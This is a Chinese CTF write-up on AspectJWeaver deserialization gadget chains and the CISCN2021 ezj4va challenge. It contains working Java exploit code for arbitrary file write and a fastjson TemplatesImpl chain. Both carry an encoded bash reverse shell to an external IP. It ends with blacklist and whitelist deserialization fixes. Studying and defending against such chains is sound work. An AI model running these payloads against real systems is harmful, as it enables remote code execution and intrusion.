AspectJWeaver反序列化


AspectJWeaver反序列化

环境:

1
aspectjweaver 1.8.6

pom.xml

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.8.6</version>
</dependency>

利用点

利用点在org.aspectj.weaver.tools.cache.SimpleCache中,有一个内部类StoreableCachingMap,同时继承了HashMap

其构造方法接受文件夹的路径以及储存计时器的值:

1
2
3
4
5
private StoreableCachingMap(String folder, int storingTimer) {
this.folder = folder;
this.initTrace();
this.storingTimer = storingTimer;
}

主要看这个put方法:

这个put方法内的writeToPath能够触发任意文件写入

那就得利用到put方法触发这个写入文件了

回想一下cc链有什么链子能够触发put方法的,不难想到cc6的利用:

1
HashSet.readObject() -> HashMap.put() -> HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()

其中LazyMap.get方法会调用map.put,然后用TiedMapEntry触发就好了,仔细看看逻辑就好

exp

基于cc6链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.Err0r233;

import Utils.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashSet;
import java.util.Map;

public class aspectTest {
public static void main(String[] args) throws Exception {
String filename = "test.txt";
String filepath = "D:\\developJava\\aspectjtest\\tmp";
String content = "qwq233";
Class clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);

Map map = (Map) constructor.newInstance(filepath, 1);

// 看代码里path = this.writeToPath((String)key, valueBytes); 这里要获取value的bytes才行,这里利用lazyMap触发
// lazyMap.decorate()需要一个transformer,所以顺理成章用一个ConstantTransformer返回内容本身即可
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
Transformer transformer = new ConstantTransformer(content.getBytes(StandardCharsets.UTF_8));

Map lazyMap = LazyMap.decorate(map, transformer);

//设置成filename的原因是因为它会调用lazyMap.get(filename)
//进lazyMap,如果没有这个filename就会用transform返回value,调用put(filename, value)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, filename);

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
String s = Utils.Serialize(hashSet);
Utils.Unserialize(s);
}
}

基于cc5链:

毕竟cc5和cc6比较像:

1
BadAttributeValueExpException.readObject()->TiedMapEntry.toString()-> LazyMap.get()->ChainedTransformer.transform()

调用的是BadAttributeValueExpException从而调用TiedMapEntry.toString()

HashSet改成Bad...即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.Err0r233;

import Utils.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashSet;
import java.util.Map;

public class aspectTest {
public static void main(String[] args) throws Exception {
String filename = "test2.txt";
String filepath = "D:\\developJava\\aspectjtest\\tmp";
String content = "qwq2333";
Class clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);

Map map = (Map) constructor.newInstance(filepath, 1);

// 看代码里path = this.writeToPath((String)key, valueBytes); 这里要获取value的bytes才行,这里利用lazyMap触发
// lazyMap.decorate()需要一个transformer,所以顺理成章用一个ConstantTransformer返回内容本身即可
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
Transformer transformer = new ConstantTransformer(content.getBytes(StandardCharsets.UTF_8));

Map lazyMap = LazyMap.decorate(map, transformer);

//设置成filename的原因是因为它会调用lazyMap.get(filename)
//进lazyMap,如果没有这个filename就会用transform返回value,调用put(filename, value)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, filename);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", tiedMapEntry);
String s = Utils.Serialize(badAttributeValueExpException);
Utils.Unserialize(s);
}
}

例题

[CISCN2021 final] ezj4va

awdp题,要打+修复

ssh连上靶机后先看ps -aux查看进程在的地方

/app/target,扒一下源码下来:

有tar.gz,直接扒下来就好了,里面就是备份的源码,awdp里记得一定要先把它备份下来

jadx反编译:

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.38</version>
</dependency>

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.72</version>
</dependency>
</dependencies>

fastjson 1.2.72,能打原生反序列化

aspectjweaver,能打任意文件写

indexController里会泄露robots.txtwww.zip,通过www.zip也能够下载源码

controller

cartController:

/cart/add,会进入add函数

/cart/query,会进入query函数

/cart/remove会进入remove函数

add函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void add(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String skus = req.getParameter("skus");
String oldCart = null;
Cookie[] cookies = req.getCookies();
if (cookies != null && cookies.length > 0) {
for (Cookie cookie : cookies) {
if ("cart".equals(cookie.getName())) {
oldCart = cookie.getValue();
}
}
}
try {
resp.addCookie(new Cookie("cart", Serializer.serialize(this.cartService.addToCart(skus, oldCart))));
outputResponse(resp, JSON.toJSONString(R.ok()));
} catch (Exception e) {
e.printStackTrace();
outputResponse(resp, JSON.toJSONString(R.error()));
}
}

接受skus和cart的cookie参数,然后将其添加到cookie,键名为cart,值为cartService.addToCart(skus, oldCart)的序列化结果

addToCart:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Cart addToCart(String skus, String oldCartStr) throws Exception {
Cart toAdd = (Cart) Deserializer.deserialize(skus);
Cart cart = null;
if (oldCartStr != null) {
cart = (Cart) Deserializer.deserialize(oldCartStr);
}
if (cart == null) {
cart = new Cart();
}
if (toAdd.getSkuDescribe() != null) {
Map skuDescribe = cart.getSkuDescribe();
for (Map.Entry<String, Object> entry : toAdd.getSkuDescribe().entrySet()) {
skuDescribe.put(entry.getKey(), entry.getValue());
}
}
if (toAdd.getSkuPrice() != null) {
Map<String, BigDecimal> skuPrice = cart.getSkuPrice();
for (Map.Entry<String, BigDecimal> entry2 : toAdd.getSkuPrice().entrySet()) {
String key = entry2.getKey();
skuPrice.put(key, entry2.getValue().add(skuPrice.getOrDefault(key, new BigDecimal("0"))));
}
}
return cart;
}

它能够反序列化skus和oldCartStr

toAddskus反序列化的结果

cartoldCartStr反序列化的结果

然后调用cart.getSkuDescribe()得到skuDescribe这个map,再通过toAdd.getSkuDescribetoAddkeyvalue都put进去

假如map是一个StoreableCachingMap的话,就能够任意文件写了

另外一个就是query

query能够进行反序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void query(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String oldCart = "";
Cookie[] cookies = req.getCookies();
if (cookies != null && cookies.length > 0) {
for (Cookie cookie : cookies) {
if ("cart".equals(cookie.getName())) {
oldCart = cookie.getValue();
}
}
}
try {
outputResponse(resp, JSON.toJSONString(R.ok().setData(this.cartService.query(oldCart))));
} catch (Exception e) {
e.printStackTrace();
outputResponse(resp, JSON.toJSONString(R.error()));
}
}

调用了cartService.query(oldCart)

deserialize函数就是将base64解码后再反序列化的流程

fastjson原生反序列化

虽然2021还没有这个东西,但是现在已经是2024了,尝试一下这个也不是不行()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.Err0r233;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.shiro.crypto.hash.Hash;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.HashMap;

public class yuansheng {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = Utils.getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, badAttributeValueExpException);
String ser = Utils.Serialize(hashMap);
System.out.println(ser);
//Utils.UnSerialize(ser);
}
}

工具类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil(cmd)};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static String Serialize(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
return str;
}
public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field nameField = clz.getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(obj, value);
}
public static byte[] GenerateEvil(String command) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\""+ command + "\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}

shell确实弹过来了(

AspectJWeaver反序列化

由于2021根本没有这个解法,所以这是不太可行的(

还是回到正题,他这个add路由能够获取到

  • toAddskus反序列化的结果

  • cartoldCartStr反序列化的结果

然后调用cart.getSkuDescribe()得到skuDescribe这个map

再通过toAdd.getSkuDescribetoAddkeyvalue都put进去

所以将cart设置成一个StoreableCachingMap

skus的k,v设置成filename contents即可。注意一下他们都得是一个Cart类的对象

那这里要写什么呢?

这里写jsp是写不通的(因为不解析jsp),那么我们换个方式,通过写入class文件,然后反序列化该class文件,class文件内重写readObject执行命令即可:

1
2
3
4
5
6
7
8
9
10
11
package ciscn.fina1.ezj4va;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class Evil implements Serializable {
private void readObject(ObjectInputStream s) throws Exception{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
}
}

这里包名要写对,然后找一下存放的class文件都在哪里,根据备份下来的文件可以找到在/app/target/classes/ciscn/fina1/ezj4va

所以filepath = /app/target/classes/ciscn/fina1/ezj4va

exp如下,简单注意路径就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package ciscn.fina1.ezj4va.domain;

import ciscn.fina1.ezj4va.Evil;
import ciscn.fina1.ezj4va.utils.Serializer;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static String getSkus() throws Exception{
Cart cart = new Cart();
HashMap hashMap = new HashMap();
String filename = "Evil.class";
String contents = new String(Base64.getEncoder().encode(ClassPool.getDefault().get(Evil.class.getName()).toBytecode()));
hashMap.put(filename, Base64.getDecoder().decode(contents));
SetValue(cart, "skuDescribe", hashMap);
return Serializer.serialize(cart);
}
public static String getOldCart() throws Exception{
Cart cart = new Cart();
String filepath = "/app/target/classes/ciscn/fina1/ezj4va";
Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(filepath, 1);
SetValue(cart, "skuDescribe", map);
return Serializer.serialize(cart);
}
public static String getEvil() throws Exception{
return Serializer.serialize(new Evil());
}
public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field field = clz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String oldCart = getOldCart();
String skus = getSkus();
String evil = getEvil();
System.out.println(oldCart);
System.out.println(skus);
System.out.println(evil);
}
}

连上ssh后查看可以得到Evil.class已经被写进去了

/cart/query打反序列化Evil.class:

shell就弹过来了

两条攻击路径就结束了~

修复

修复的话需要重写ResolveClass,阻止AspectJWeaver反序列化,解法(黑名单):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package ciscn.fina1.ezj4va.utils;

import java.io.*;


public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException{
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException{
String className = desc.getName();
for (String deny: new String[]{
"java.net.InetAddress",
"org.aspectj.weaver.tools.cache.SimpleCache",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.alibaba.fastjson.JSONArray",
"javax.management.BadAttributeValueExpException",
"java.security.SignedObject",
"org.apache.commons.collections.functors",
"org.apache.commons.collections.Transformer"
}){
if(className.startsWith(deny)){
throw new InvalidClassException("Unauthorized ClassName " + className);
}
}
return super.resolveClass(desc);
}
}

白名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package ciscn.fina1.ezj4va.utils;

import java.io.*;


public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException{
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException{
String className = desc.getName();
if(!desc.getName().equals(Cart.class.getName())){
throw new InvalidClassException("Unauthorized ClassName " + className);
}
return super.resolveClass(desc);
}
}

往deserializer.java里改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package ciscn.fina1.ezj4va.utils;



import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Deserializer{
public static Object deserialize(String base64data) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
MyObjectInputStream ois = new MyObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;
}

}

这题可以通过www.zip里的文件解压出源码,扔进idea里即可

改完之后拿aspectjweaver的payload进行本地测试:

这里把关键类给ban掉了,文件也无法生成,成功防御

对于fastjson原生反序列化也是能够防御的:

打包利用的不是maven的打包,而是idea的原有打包方式:

然后Build -> Build Artifacts -> rebuild

然后还得将target文件夹复制,完成之后大概是这样的:

然后就能够启动了

经过测试,在buu的靶机上还发现了一个main,当时忘记关注这个了,还以为是直接通过jar启动的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/bin/sh
# ----------------------------------------------------------------------------
# Copyright 2001-2006 The Apache Software Foundation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ----------------------------------------------------------------------------
#
# Copyright (c) 2001-2006 The Apache Software Foundation. All rights
# reserved.


# resolve links - $0 may be a softlink
PRG="$0"

while [ -h "$PRG" ]; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`/"$link"
fi
done

PRGDIR=`dirname "$PRG"`
BASEDIR=`cd "$PRGDIR/.." >/dev/null; pwd`

# Reset the REPO variable. If you need to influence this use the environment setup file.
REPO=


# OS specific support. $var _must_ be set to either true or false.
cygwin=false;
darwin=false;
case "`uname`" in
CYGWIN*) cygwin=true ;;
Darwin*) darwin=true
if [ -z "$JAVA_VERSION" ] ; then
JAVA_VERSION="CurrentJDK"
else
echo "Using Java version: $JAVA_VERSION"
fi
if [ -z "$JAVA_HOME" ]; then
if [ -x "/usr/libexec/java_home" ]; then
JAVA_HOME=`/usr/libexec/java_home`
else
JAVA_HOME=/System/Library/Frameworks/JavaVM.framework/Versions/${JAVA_VERSION}/Home
fi
fi
;;
esac

if [ -z "$JAVA_HOME" ] ; then
if [ -r /etc/gentoo-release ] ; then
JAVA_HOME=`java-config --jre-home`
fi
fi

# For Cygwin, ensure paths are in UNIX format before anything is touched
if $cygwin ; then
[ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
[ -n "$CLASSPATH" ] && CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
fi

# If a specific java binary isn't specified search for the standard 'java' binary
if [ -z "$JAVACMD" ] ; then
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
else
JAVACMD=`which java`
fi
fi

if [ ! -x "$JAVACMD" ] ; then
echo "Error: JAVA_HOME is not defined correctly." 1>&2
echo " We cannot execute $JAVACMD" 1>&2
exit 1
fi

if [ -z "$REPO" ]
then
REPO="$BASEDIR"/repo
fi

CLASSPATH="$BASEDIR"/etc:"$REPO"/org/apache/tomcat/embed/tomcat-embed-core/8.5.38/tomcat-embed-core-8.5.38.jar:"$REPO"/org/apache/tomcat/tomcat-annotations-api/8.5.38/tomcat-annotations-api-8.5.38.jar:"$REPO"/org/aspectj/aspectjweaver/1.9.5/aspectjweaver-1.9.5.jar:"$REPO"/com/alibaba/fastjson/1.2.72/fastjson-1.2.72.jar:"$REPO"/ciscn/fina1/ezj4va/0.0.1-SNAPSHOT/ezj4va-0.0.1-SNAPSHOT.jar

ENDORSED_DIR=
if [ -n "$ENDORSED_DIR" ] ; then
CLASSPATH=$BASEDIR/$ENDORSED_DIR/*:$CLASSPATH
fi

if [ -n "$CLASSPATH_PREFIX" ] ; then
CLASSPATH=$CLASSPATH_PREFIX:$CLASSPATH
fi

# For Cygwin, switch paths to Windows format before running java
if $cygwin; then
[ -n "$CLASSPATH" ] && CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
[ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
[ -n "$HOME" ] && HOME=`cygpath --path --windows "$HOME"`
[ -n "$BASEDIR" ] && BASEDIR=`cygpath --path --windows "$BASEDIR"`
[ -n "$REPO" ] && REPO=`cygpath --path --windows "$REPO"`
fi

exec "$JAVACMD" $JAVA_OPTS \
-classpath "$CLASSPATH" \
-Dapp.name="main" \
-Dapp.pid="$$" \
-Dapp.repo="$REPO" \
-Dapp.home="$BASEDIR" \
-Dbasedir="$BASEDIR" \
ciscn.fina1.ezj4va.launch.Main \
"$@"

通过这个启动了,然后本地测试一下发现还有个.bat可以直接启动windows下的服务

接下来测试发现只需要将classes文件夹覆盖成我们修复的文件即可,最后拿到flag: